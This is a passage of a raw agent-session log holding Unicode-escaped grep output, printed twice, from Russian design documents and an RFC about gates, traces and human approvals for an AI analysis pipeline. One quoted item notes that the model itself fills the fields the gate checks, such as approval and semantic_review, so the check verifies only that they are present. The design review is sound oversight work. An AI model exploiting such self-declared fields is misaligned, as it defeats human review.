\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f: \u043e\u043d \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043c\u0435\u0442\u0440\u0438\u043a\u0435 \u0438 \u0432 \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u0430. |\\n143:| `MM-4` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430, \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430. | \u041c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0443 66 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67. |\\n145:`MM-1` \u0438 `MM-4` \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430; `MM-2` \u0438 `MM-3` \u2014 \u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0430\\n214:| \u00ab\u0422\u043e\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u00bb \u0432\u0441\u0435\u0433\u043e \u043d\u0430 \u0432\u0441\u0451 \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 | \u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0440\u0451\u0431\u0440\u0430\u043c `Trace`, \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c \u0432 `MM-3`. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0438 \u2014 \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435. | \u0427\u0430\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0435\u0439 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043d\u0435\u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439; \u044d\u0442\u043e \u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u044b\u0439 \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u043f\u043e\u043b\u043d\u043e\u0442\u044b \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438. |\\n---\\n---\\n53:\u041a\u043b\u0430\u0441\u0441\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043e\u043c, \u0430 **\u0442\u0438\u043f\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430\u0434 \u0441\u043c\u044b\u0441\u043b\u043e\u043c** \u2014 \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430\\n60:| `generate` \u2014 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 | \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u043e \u0432\u0445\u043e\u0434\u0435 \u043d\u0435 \u0431\u044b\u043b\u043e | `G6` \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, `G5` \u043f\u0440\u0438 \u0432\u044b\u0445\u043e\u0434\u0435 \u0432\u043e\u0432\u043d\u0435 | \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f |\\n62:| `assess` \u2014 \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440 | \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u044b\u0431\u043e\u0440 \u0438\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 | `G1` \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f + `G5` \u043f\u0440\u0438 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0431\u043e\u0440\u0430 | \u043d\u0435\u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 |\\n---\\n---\\n   \u043f\u0430\u043a\u0435\u0442\u0430 \u043e\u0436\u0438\u0434\u0430\u044e\u0442 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0442\u0435\u043e\u0440\u0438\u0438, \u0430 \u043e\u0442 \u0430\u0433\u0435\u043d\u0442\u0430 \u2014 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u043a\u043e\u0434\u0430.\\n2. **\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u00ab\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u043e\u0435 \u2192 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435\u00bb \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043f\u043e Working JSON, \u043d\u043e\\n   \u043f\u043e\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u0442\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0442\u0430 \u0436\u0435 \u043c\u043e\u0434\u0435\u043b\u044c.**\\n   `semantic_review`, `approval` \u0438 `retrieval_status: \\\"read\\\"` \u2014\\n   \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430\u043b\u0438\u0447\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f\\n   \u0441\u0443\u043c\u043c\u0430 \u0446\u0438\u0442\u0430\u0442\u044b \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0446\u0438\u0442\u0430\u0442\u0443 \u043d\u0435 \u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043d\u043e \u043d\u0435\\n   \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0430 \u0432\u0437\u044f\u0442\u0430 \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 ([\u0413-17](#\u0433-17), [\u0413-18](#\u0433-18)).\\n---\\n2:status: proposed\\n17:| RFC status | \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d \u043a review; \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 |\\n34:\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u043a\u0435; \u0431\u043e\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0434\u0432\u0443\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c gate.\\n78:   \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 15 \u0443\u0437\u043b\u043e\u0432 \u043e\u0442 `A-IN` \u0434\u043e Release \u0438 human gates. [\u041c\u0430\u0440\u0448\u0440\u0443\u0442 Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/routes/pilot.json)\\n116:| 13 | \u041e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d | \u0418; \u041b\u043e\u043a | \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 Cline `run` \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u043b\u0441\u044f exit 1 \u0441 `ERROR: run already exists`; \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 \u0438 \u043d\u043e\u0432\u044b\u0439 ID, \u0430 \u043d\u0435 \u043c\u0435\u043d\u044f\u0442\u044c gate. |\\n122:| 19 | \u041a\u0430\u043a \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0431\u043e\u0435\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 | \u041c + \u0418; \u0414\u043e\u043a | README \u0433\u043e\u0432\u043e\u0440\u0438\u0442, \u0447\u0442\u043e real task \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 approved Working, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a Cline AGENTS \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u0438\u043b\u043e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u043a\u043e\u0439. \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u043d\u044f\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430; \u043d\u0443\u0436\u0435\u043d human gate \u043f\u043e real-task scope. |\\n134:| H1 | \u041e\u0434\u0438\u043d Source \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d \u0434\u043b\u044f \u043e\u0431\u0449\u0435\u0433\u043e BCREQ Working \u2192 Release: \u043e\u0431\u0449\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430/\u043a\u043e\u0434 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b. | \u041f\u0430\u0440\u043d\u044b\u0439 approved Working \u0438\u0437 \u043e\u0434\u043d\u043e\u0439 \u0440\u0435\u0432\u0438\u0437\u0438\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0445 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439 \u0438\u043b\u0438 gate \u0432 \u0434\u0432\u0443\u0445 \u0441\u0440\u0435\u0434\u0430\u0445. | **\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430**: \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u0441\u0445\u0435\u043c\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f `$id`; live-\u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0430 \u043e\u0442\u043a\u0440\u044b\u0442\u0430. |\\n137:| H4 | Debug \u043c\u043e\u0436\u043d\u043e \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0442 business-run \u0441 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c trace \u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438, \u043a\u0430\u043a \u0432 GigaCode. | Cline \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u0431\u0435\u0437 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f hook/gate \u0438\u043b\u0438 \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u044f `runs/`. | **\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u044b\u0439 gap \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438**; \u0441\u043f\u043e\u0441\u043e\u0431 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u0442\u043a\u0440\u044b\u0442. \u041d\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c debug \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u043a\u0430\u043a \u0431\u0443\u0434\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0433\u043e\u0442\u043e\u0432\u0430. |\",\n[2026-09-29T07:56:08.650Z] [INFO]         \"is_error\": false\n[2026-09-29T07:56:08.650Z] [INFO]       }\n[2026-09-29T07:56:08.650Z] [INFO]     ]\n[2026-09-29T07:56:08.650Z] [INFO]   },\n[2026-09-29T07:56:08.650Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:08.650Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:08.650Z] [INFO]   \"uuid\": \"39daa6ae-c10b-4599-a9e5-8329d1153f5b\",\n[2026-09-29T07:56:08.650Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:08.635Z\",\n[2026-09-29T07:56:08.650Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:56:08.650Z] [INFO]     \"stdout\": \"67:| `SY-3` | `System` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 (`MM-4`): \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0437\u0430\u0434\u043d\u0438\u043c \u0447\u0438\u0441\u043b\u043e\u043c. |\\n140:| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b. |\\n141:| `MM-2` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d. | \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u00ab\u043d\u0430 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u043d\u0438 \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c. |\\n142:| `MM-3` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0435\u0441\u0451\u0442 `Trace` \u043d\u0430 \u0432\u0445\u043e\u0434, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0433\u0435\u0439\u0442\u044b. | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f: \u043e\u043d \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043c\u0435\u0442\u0440\u0438\u043a\u0435 \u0438 \u0432 \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u0430. |\\n143:| `MM-4` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430, \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430. | \u041c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0443 66 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67. |\\n145:`MM-1` \u0438 `MM-4` \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430; `MM-2` \u0438 `MM-3` \u2014 \u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0430\\n214:| \u00ab\u0422\u043e\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u00bb \u0432\u0441\u0435\u0433\u043e \u043d\u0430 \u0432\u0441\u0451 \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 | \u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0440\u0451\u0431\u0440\u0430\u043c `Trace`, \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c \u0432 `MM-3`. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0438 \u2014 \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435. | \u0427\u0430\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0435\u0439 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043d\u0435\u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439; \u044d\u0442\u043e \u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u044b\u0439 \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u043f\u043e\u043b\u043d\u043e\u0442\u044b \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438. |\\n---\\n---\\n53:\u041a\u043b\u0430\u0441\u0441\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043e\u043c, \u0430 **\u0442\u0438\u043f\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430\u0434 \u0441\u043c\u044b\u0441\u043b\u043e\u043c** \u2014 \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430\\n60:| `generate` \u2014 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 | \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u043e \u0432\u0445\u043e\u0434\u0435 \u043d\u0435 \u0431\u044b\u043b\u043e | `G6` \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, `G5` \u043f\u0440\u0438 \u0432\u044b\u0445\u043e\u0434\u0435 \u0432\u043e\u0432\u043d\u0435 | \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f |\\n62:| `assess` \u2014 \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440 | \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u044b\u0431\u043e\u0440 \u0438\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 | `G1` \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f + `G5` \u043f\u0440\u0438 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0431\u043e\u0440\u0430 | \u043d\u0435\u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 |\\n---\\n---\\n   \u043f\u0430\u043a\u0435\u0442\u0430 \u043e\u0436\u0438\u0434\u0430\u044e\u0442 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0442\u0435\u043e\u0440\u0438\u0438, \u0430 \u043e\u0442 \u0430\u0433\u0435\u043d\u0442\u0430 \u2014 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u043a\u043e\u0434\u0430.\\n2. **\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u00ab\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u043e\u0435 \u2192 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435\u00bb \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043f\u043e Working JSON, \u043d\u043e\\n   \u043f\u043e\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u0442\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0442\u0430 \u0436\u0435 \u043c\u043e\u0434\u0435\u043b\u044c.**\\n   `semantic_review`, `approval` \u0438 `retrieval_status: \\\"read\\\"` \u2014\\n   \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430\u043b\u0438\u0447\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f\\n   \u0441\u0443\u043c\u043c\u0430 \u0446\u0438\u0442\u0430\u0442\u044b \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0446\u0438\u0442\u0430\u0442\u0443 \u043d\u0435 \u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043d\u043e \u043d\u0435\\n   \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0430 \u0432\u0437\u044f\u0442\u0430 \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 ([\u0413-17](#\u0433-17), [\u0413-18](#\u0433-18)).\\n---\\n2:status: proposed\\n17:| RFC status | \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d \u043a review; \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 |\\n34:\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u043a\u0435; \u0431\u043e\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0434\u0432\u0443\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c gate.\\n78:   \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 15 \u0443\u0437\u043b\u043e\u0432 \u043e\u0442 `A-IN` \u0434\u043e Release \u0438 human gates. [\u041c\u0430\u0440\u0448\u0440\u0443\u0442 Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/routes/pilot.json)\\n116:| 13 | \u041e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d | \u0418; \u041b\u043e\u043a | \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 Cline `run` 